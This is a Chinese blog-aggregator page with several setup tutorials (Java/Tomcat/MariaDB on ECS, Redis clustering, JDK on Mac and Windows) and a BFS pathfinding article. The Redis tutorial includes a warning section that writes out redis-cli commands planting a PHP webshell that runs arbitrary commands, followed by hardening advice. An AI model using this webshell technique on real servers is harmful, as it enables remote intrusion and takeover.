首页 文章 精选 留言 我的

精选列表

搜索[搭建],共10000篇文章
优秀的个人博客,低调大师

新手向: ECS搭建Java运行平台, 安装MySQL 以及Tomcat运行

需要 准备一台ECS主机, 立即购买, 阿里云服务器293/1年 或者 个人阿里云推广返还, 购买最多折上9折 系统推荐CentOS7(以下使用CentOS7作为例子) 准备好Tomcat运行包, 这里选用Apache Tomcat 8.0.53 准备好Java运行环境 这里采用Oracle Java Server JRE 1.8.0_181 可以点击此处进入官网下载历史版本的Java, 需要Oracle账号, 注册一个即可 准备阶段 准备好的服务器, 装了CentOS7.4的系统 看到IP是47.104.66.241, 直接使用SSH连接过去, 这里SSH可以使用 putty Download PuTTY 在HostName中填写IP地址 47.104.66.241, 点击Open, 应该会弹出框 点击是后, 输入用户名密码, 这里使用root可以看到连接成功了 如果看到没有连接成功, 检查下阿里云的安全组然后点击配置规则, 并检查是否有22/22的端口如果没有, 按如图添加一条22的端口, 表示外网可以访问到这个端口如果还是没有, 检查下服务器防火墙是否被打开如果还是没有, 可以发工单求助专业的工作人员. 安装MySQL(该步骤可以跳过) 1. 准备 这是一台全新的服务器, 首先安装 MySQL, 在CentOS中, 可以使用MariaDB来代替MySQL, 安装很简单, 只需控制台输入 yum install mariadb mariadb-server -y 若干秒后看到 .. .. Dependency Installed: libaio.x86_64 0:0.3.109-13.el7 perl-Compress-Raw-Bzip2.x86_64 0:2.061-3.el7 perl-Compress-Raw-Zlib.x86_64 1:2.061-4.el7 perl-DBD-MySQL.x86_64 0:4.023-6.el7 perl-DBI.x86_64 0:1.627-4.el7 perl-Data-Dumper.x86_64 0:2.145-3.el7 perl-IO-Compress.noarch 0:2.061-2.el7 perl-Net-Daemon.noarch 0:0.48-5.el7 perl-PlRPC.noarch 0:0.2020-14.el7 Dependency Updated: mariadb-libs.x86_64 1:5.5.60-1.el7_5 Complete! 即安装完成 2. 运行MariaDB systemctl start mariadb 没有任何返回, 就表示完成了, 接下来就是设置它开机自启动 systemctl enable mariadb 返回 Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service. 表示加入开机启动完成 3. 配置MariaDB 刚安装好的MariaDB需要进行简单的配置命令行输入 mysql_secure_installation 按图中的提示进行操作 时候登陆mysql, 发现已经安装好了 但是此时还不够, 因为默认安装的mariadb, 在存储中文时会报错, 此时要进行配置的更改 修改server.cnf配置文件, 增加连接相关属性 vi /etc/my.cnf.d/server.cnf 光标移动到[mysqld]下方, 按下A键此时左下角出现 -- INSERT --, 表示可以进行编辑状态接着直接键盘输入以下配置 character-set-client-handshake = FALSE character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci init_connect='SET NAMES utf8mb4' lower_case_table_names = 1 # 这个可选, 表示不区分大小写 然后按下Esc键, 此时左下角 -- INSERT --消失接着按下:wq, 直接按就行, 左下角出现对应字符回车, 保存然后修改client.conf文件 vi /etc/my.cnf.d/client.cnf 在[client]中加入如下的话 default-character-set = utf8mb4 :wq保存退出 最后, 重启MariaDB systemctl restart mariadb 重启没有任何提示就结束表示成功 再次进入MySQL, 发现字符集已经完成更改 安装Java 从官网下载Java, 选择这个版本, 下载Tomcat 若干秒后, 下载完毕 使用ssh工具上传到云服务器, 这里ssh工具使用SFTP, 添加后双击进入, 并选择接受并保存 将刚刚下的2个文件直接拖进来即可剩下, 回到服务器上, 由于刚刚上传的文件在 /root下, 进入/root cd /root ls一下发现文件已经上来了 解压这2个文件, 执行后当前目录会多出2个文件夹 tar -zxvf jre-8u181-linux-x64.tar.gz && tar -zxvf apache-tomcat-8.0.53.tar.gz 我个人习惯将java和tomcat放在/usr/local中, 当然也可以直接放在/root中, 如果移动目录使用 mv 老文件(夹)1 [老文件(夹)2] 新文件(夹) 配置Java环境 配置环境变量 vi /etc/profile 移动到底部, 添加如下字段, JAVA_HOME的目录就是刚刚java的目录 export JAVA_HOME=/usr/local/jre1.8.0_181 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 生效配置 source /etc/profile 检验配置输入java -version,如图所示表示java安装成功 运行Tomcat 刚刚Tomcat已经移动到了/usr/local中, 启动非常简单, 直接 cd /usr/local/apache-tomcat-8.0.53/ bin/startup.sh 如图所示表示启动成功 访问这个Tomcat, 因为Tomcat使用的是8080端口, 但是阿里云安全组没有开放这个8080端口, 因此访问是无法访问的进入刚刚的安全组, 添加一条8080的端口再次访问结束了, 如果希望将Tomcat加入到开机启动, 可以在 /etc/rc.local中添加如下 source /etc/profile /usr/local/apache-tomcat-8.0.53/bin/startup.sh 然后运行下 chmod +x /etc/rc.d/rc.local 小插曲 如果遇到Tomcat启动的时候特别慢, 试着做如下修改 参考Tomcat 8熵池阻塞变慢详解 vi /usr/local/jre1.8.0_181/lib/security/java.security 找到如下的行数, 可以在vi中通过按esc, 然后按 / 再输入random搜索这一行继续按n搜索下一个, 直到搜索到如下图的字样时结束修改成如下 最后, 感谢您的浏览.

优秀的个人博客,低调大师

如何快速搭建一个简单的塔防小游戏

C语言是所有编程语言的基础,当我们对C语言有足够深入的理解后,就能轻松入门其他语言,比如现在流行的Python。现在,我将带领大家看一个基于C语言经典算法,使用Python编写的塔防小游戏。 在塔防游戏中,有许多敌人向着同一目标前进。在很多塔防游戏当中,有一条或几条事先预定好的路径。在一些中,比如经典的《Desktop Tower Defense》,你可以将塔放在任何位置,它们充当障碍影响敌人选择的路径。试一试,点击地图来移动墙壁: 我们如何来实现这种效果? 像A*这样的图搜索算法经常被用来寻找两点之间的最短路径。你可以用这个来为每一个敌人找到前往目标的路径。在这种类型的游戏当中,我们有很多不同的图搜索算法来。这是一些经典方法 单源,单目标: 贪心搜索算法 A*算法 – 在游戏当中常用 单源多目标或多源单目标 广度优先算法-无加权边 Dijkstra算法-有加权边 Bellman-Ford算法-支持负权重 多源多目标 Floyd-Warshall算法 Johnson’s算法 像《Desktop Tower Defense》这样的游戏会有很多个敌人(源)和一个共同的目的地。这使得它被归为多源单目标一类。我们可以执行一个算法,一次算出所有敌人的路径,而不是为每个敌人执行一次A*算法。更好的是,我们可以计算出每个位置的最短路径,所以当敌人挤在一块或者新敌人被创建时,他们的路径已经被计算好了。 我们先来看看有时也被称作“洪水填充法”(FIFO变种)的广度优先算法。虽然图搜索算法是适用于任何由节点和边构成的图,但是我还是使用方形网格来表示这些例子。网格是图的一个特例。每个网格瓦片是图节点,网格瓷砖之间的边界是图的边。我会在另一篇文章当中探讨非网格图。 广度优先搜索始于一个节点,并访问邻居节点。关键的概念是“边界”,在已探索和未开发的区域之间的边界。边界从原始节点向外扩展,直到探索了整张图。 边界队列是一个图节点(网格瓦片)是否需要被分析的列表/数组。它最开始仅仅包含一个元素,起始节点。每个节点上的访问标志追踪我们是否采访过该节点。开始的时候除了起始节点都标志为FALSE。使用滑块来查看边界是如何扩展的: 这个算法是如何工作的?在每一步,获得一个元素的边界并把它命名为current。然后寻找current的每个邻居,next。如果他们还没有被访问过的话,将他们都添加到边界队列里面。下面是一些python代码: Python frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True 现在已经看见代码了,试着步进上面的动画。注意边界队列,关于current的代码,还有next节点的集合。在每一步,有一个边界元素成为current节点,它的邻居节点会被标注,并且未被拜访过的邻居节点会被添加到边界队列。有一些邻居节点可能已经被访问过,他们就不需要被添加到边界队列里面了。 这是一个相对简单的算法,并且对于包括AI在内的很多事情都是有用的。我有三种主要使用它的办法: 1.标识所有可达的点。这在你的图不是完全连接的,并且想知道哪些点是可达的时候是很有用的。这就是我再上面用visited这部分所做的。 2.寻找从一个点到所有其他点或者所有点到一个点的路径。我在文章开始部分的动画demo里面使用了它。 3.测量从一个点到所有其他点的距离。这在想知道一个移动中的怪物的距离时是很有用的。 如果你正在生成路径,你可能会想知道从每个点移动的方向。当你访问一个邻居节点的时候,要记得你是从哪个节点过来的。让我们把visited重命名为came_from并且用它来保存之前位置的轨迹: Python frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current 我们来看看它看起来是怎样的: 如果你需要距离,你可以在起始节点讲一个计数器设置为0,并在每次访问邻居节点的时候将它加一。让我们把visitd重命名为distance,并且用它来存储一个计数器: Python frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] 我们来看看它看起来是怎样的: 如果你想同时计算路径和距离,你可以使用两个变量。 这就是广度优先检索算法。对于塔防风格的游戏,我用它来计算所有位置到一个指定位置的路径,而不是重复使用A*算法为每个敌人分开计算路径。我用它来寻找一个怪物指定行动距离内所有的位置。我也是用它来进行程序化的地图生成。Minecraft使用它来进行可见性提出。由此可见这是一个不错的算法。 下一步 我有python和c++代码的实现。 如果你想要找到从一个点出发而不是到达一个点的路径,只需要在检索路径的时候翻转came_from指针。 如果你想要知道一些点而不是一个点的路径,你可以在图的边缘为你的每个目标点添加一个额外的点。额外的点不会出现在网格中,但是它会表示在图中的目标位置。 提前退出:如果你是在寻找一个到达某一点或从某一点出发,。我在A*算法的文章当中描述了这种情况。 加权边:如果你需要不同的移动成本,广度优先搜索可以替换为为Dijkstra算法。我在A*算法的文章当中描述了这种情况。 启发:如果你需要添加一种指导寻找目标的方法,广度优先算法可以替换为最佳优先算法。我在A*算法的文章当中描述了这种情况。 如果你从广度优先算法,并且加上了提前退出,加权边和启发,你会得到A*。如你所想,我在A*算法的文章当中描述了这种情况。 满满的自豪感,真的很想知道大家的想法,还请持续关注更新,更多干货和资料请直接联系我,也可以加群710520381,邀请码:柳猫,欢迎大家共同讨论

优秀的个人博客,低调大师

CentOS7.X安装Redis-4.0.8以及Redis集群搭建

安装redis 安装前的准备 yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \ 下载解压并安装 cd /root wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install 创建配置中要求的数据文件存储位置 mkdir /data mkdir /data/redis mkdir /usr/local/redis/log 添加修改配置文件参考配置 cp ./redis.conf /usr/local/redis vim /usr/local/redis/redis.conf # IP绑定 bind 127.0.0.1 192.168.0.111 # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启) protected-mode yes # 访问端口 port 6379 # 连接超时,单位S,0为不启用超时 timeout 0 # 以守护进程运行 daemonize yes # 数据文件路径 dir /data/redis # 进程ID文件的路径 pidfile /usr/local/redis/log/redis.pid # 日志文件路径 logfile /usr/local/redis/log/redis.log # 开启键过期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置选项仅作参考 # 禁用部分危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加访问密码 requirepass ******** # IP绑定本机 bind 127.0.0.1 性能优化 # 编辑/etc/rc.local vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local执行权限 chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解决 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p 修改目录归属 useradd -s /sbin/nologin -M redis chown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis 启动redis并设置开机启动 # 进入单元文件目录 cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改文件权限为只有root用户可以编辑该文件 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis 存入数据 /usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123 save get num quit 批量删除匹配规则数据 redis-cli keys [匹配规则]|xargs redis-cli del Redis宕机 aof文件损坏 启动失败 拷贝aof文件 修复坏损的aof文件 redis-check-aof --fix [aof文件名] 重新启动Redis Redis漏洞webshell的利用 参考链接 Redis该漏洞用到的原理如下 redis原生支持通过'redis-cli>config set'在不重启redis服务的情况下,动态修改配置dir、dbfilename; redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文 件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web目录,则/www/test.php则会被人利用,成为入侵你服务器的入口; 漏洞举例(这是一个负面教材) redis以超级管理员用户root运行 Nginx以超级管理员用户root启动,子进程也以root运行 web服务器为nginx,并做如下配置: server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 通过redis-cli执行了以下命令 config set dir /www/ config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save 这时候可怕的事情出现了 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令) Redis漏洞webshell的防范 不要线上使用redis的web管理工具 redis以低权限用户运行(如rediser等让人想不到的用户名) redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24) redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "") web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程) redis集群(cluster方式) 集群前的配置(单机两服务测试6379,6380) # 内网IP:192.168.0.100 修改redis.conf vim /usr/local/redis/redis.conf # 启用cluster cluster-enabled yes # 调用cluster配置文件 cluster-config-file nodes-6379.conf # 集群超时 cluster-node-timeout 15000 # 关闭宕机全停 cluster-require-full-coverage no # 集群从属元素个数 cluster-slave-validity-factor 10 # 从机数最低迁移值(master至少有两台slave,才能做slave迁移) cluster-migration-barrier 1 ESC :wq 配置文件添加 yum install ruby gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380 修改redis-6379.conf vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq 修改redis-6380.conf vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq 修改开机启动 vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq 创建cluster cd /root/redis/src/ # 查看帮助 ./redis-trib.rb help # 添加绑定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380 集群测试 /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c 正常关闭(不要强制关闭) /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown 领支付宝红包支持作者

优秀的个人博客,低调大师

最详细的JavaWeb开发基础之java环境搭建(Mac版)

阅读文本大概需要 5 分钟。 我之前分享过在 Windows 下面配置 Java 环境,这次给大家带来的是 Mac 下面安装配置 Java 环境。首先 Mac 系统已经带有默认的 Java,但是由于使用不方便,这里教大家一个比较方便的方法,并且管理方便。也方便我们后面配置 IDEA, Eclipse。 下面开始我们 Java 环境的安装配置。 1、打开 Java 官网 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 在这里你可以选择你要下载的 java 版本,这里我们以 java1.8 为例来讲解。在下载之前,我们需要先接受协议才能够去下载。 这里说明下,我为什么去选择 linux 版本的 JDK 去下载,而不是 Mac 版本的 JDK,这里主要是因为如果我们下载了 Mac 版本的 JDK 在安装的时候,我们是无法去选择安装目录的,也就是它默认安装之后,你还是要在接着去 Google Mac 下 JDK 默认的安装目录,这样岂不是多次一举。其次,因为 Mac 就是原生的 Unix 系统呀,更可以去选择对应的 Linux 版本,而且这样更便于我们去管理。通过上面的链接下载好之后,我们就可以在本地看到这个文件。 如果觉得上面的下载不够高大上,我们可以直接在命令中使用命令去下载,我们可以使用 wget 命令进行下载 JDK,下载地址如下: http://download.oracle.com/otn-pub/java/jdk/8u172-b11/a58eab1ec242421181065cdc37240b08/jdk-8u172-linux-x64.tar.gz 在命令行中执行如下,这样下载之后的结果跟我们上面都过浏览器下载是一样,喜欢哪一种就可以用哪一种方式去下载。 2、解压下载好的 JDK 文件 下载的文件是 tar.gz 格式的文件,这里我们可以通过 tar 命令进行解压,这个格式文件其实相当于 Windows 下面的 rar 文件,tar 可以对文件进行解压或者压缩,下载我们使用该命令进行解压下载好的 JDK 文件。这里我们先将下载好的 JDK 文件移动到我们的工具目录,方便我们下次使用和查找。上图我已经将 JDK 移动到 Tools 目录下面,所以这里就不需要在重新移动了,如果我们需要移动文件的话,可以通过 mv 命令进行移动。对文件进行解压。 解压完成之后,我们会得到如下的一个文件夹,我们可以进入该文件夹并查看下文件夹下的内容。 到这里我们的 java 安装算是完成一半了,其实说安装根本谈不上,我们之不过是下载了文件,并做了解压的工作。还剩下环境变量的设置,说到环境变量的设置,想必很多会认为一定很复杂,其实这是一种自我限制的思想,在 Mac 或者 Linux 系统下面进行环境变量设置其实很简单,下面你就会见到。 3、查看 JDK 的目录并配置环境变量 配置 java 环境变量之前,我们一定要知道我们的 java 根目录在哪里,在这里我们可以通过 pwd 命令,来查看我们当前 java 根目录是在那个目录下面。 这里我们就看到了我们的 java 所在的根目录了,这是我们将这个路径进行选择,其实相当于复制。下面就到我们最后的一步了进行配置环境变量,这里两行我们就可以搞定。相比于 Windows 下面要简单的多了。我们先回到当前用户的家目录,使用 cd 即可。然后编辑我们的 .bashrc 文件。加入以下两行即可。 至此,我们的 java 配置已经完成,接下来就是我们验证的时刻,在验证之前,我们还需要在执行一个命令,执行这个命令的原因是因为我们在刚才的文件中添加了两行命令,系统是否会自动生效的呢,答案是否定,所以这里我们需要手动去使我们刚才加入的那两行命令生效。 执行上面的命令之后,刚才加入的命令就生效了。下面我们来验证 java 是否配置成功,验证是否成功跟我们前面在 windows 下面的验证是一样的,输入 java -version 即可进行验证。 这样我们就完成了 java 的配置,接下来我们就可以在工具里面去配置使用了。 如果你有任何问题,都可以通过下面的方式,联系我。

优秀的个人博客,低调大师

最详细的JavaWeb开发基础之java环境搭建(Windows版)

阅读文本大概需要 3 分钟。 首先欢迎大家来学习JavaWeb,在这里会给你比较详细的教程,从最基本的开始,循序渐进的深入。会让初学者的你少踩很多坑(大实话),如果你已经掌握了JavaWeb开发的基础部分,请耐心等待后续的进阶阶段。 下面开始我们Java环境的安装配置。 1、打开Java官网 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html,在这里你可以选择你要下载的java版本,这里我们以java1.8为例来讲解。在下载之前,我们需要先接受协议才能够去下载。 接受协议之后,我们可以根据自己电脑是32位系统还是64位系统选择对应的版本去下载。在电脑属性里面可以查看自己电脑是多少位。 这里我们选择64位的java版本去下载,也就是jdk-8u171-windows-x64.exe。下载完成之后会是exe文件。 我们双击进行安装,双击之后,我们会进入一个安装向导 点击下一步 这里显示安装的功能和安装目录,需要安装的功能我们不需要改变,使用默认就行了。但是这里的安装路径,建议大家去修改,因为默认是安装在C盘下面,并且安装的目录名称还包含空格。更重要的是,作为一个具有良好习惯的开发人员,我们经常需要很多开发软件,所以这时我们应该自己新建一个专门放开发工具的目录,以便我们自己很好的去管理。在这里我将安装目录放到我自己的工具文件夹下面,也就是D:\Tools\jdk1.8.0_171。接着我们点击下一步,进行安装,安装完成之后,可以看到如下的目录结构。 到这里我们的java安装就已经完成了,但是如果我们在命令行中去验证的话,会不成功。虽然目前的java安装会自动加入环境变量,但是在我们改变目录之后是不会自动加入的,所以这时需要我们自己手动去加。我们重新打开刚才查看系统位数的那个窗口。 点击高级系统设置 点击环境变量 点击新建一个系统变量 接下来,我们在path里面加入刚才新建的系统变量,这是因为系统在命令行中执行命令的时候是去path里面去找,所以我们将java可执行的bin目录加入到path。 要注意在已有的里面要加上;表示另一个。接着一直点击确定,直到退出环境变量窗口。到这里我们就完成了java环境的配置,接下来我们在命令行中进行验证。我们在键盘上windows键(就是4个方块的那个键)+R,或者点击左下角的程序按钮,找到运行,输入cmd,点击确定。 输入java验证的命令,回车 我们会得到如下结果。 到此,我们的java环境,就已经安装配置完成,后面我们就可以进行开发。祝贺你已经完成了第一步工作,可以给自己鼓励以下。 如果你有任何问题,都可以通过下面的方式,联系我。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册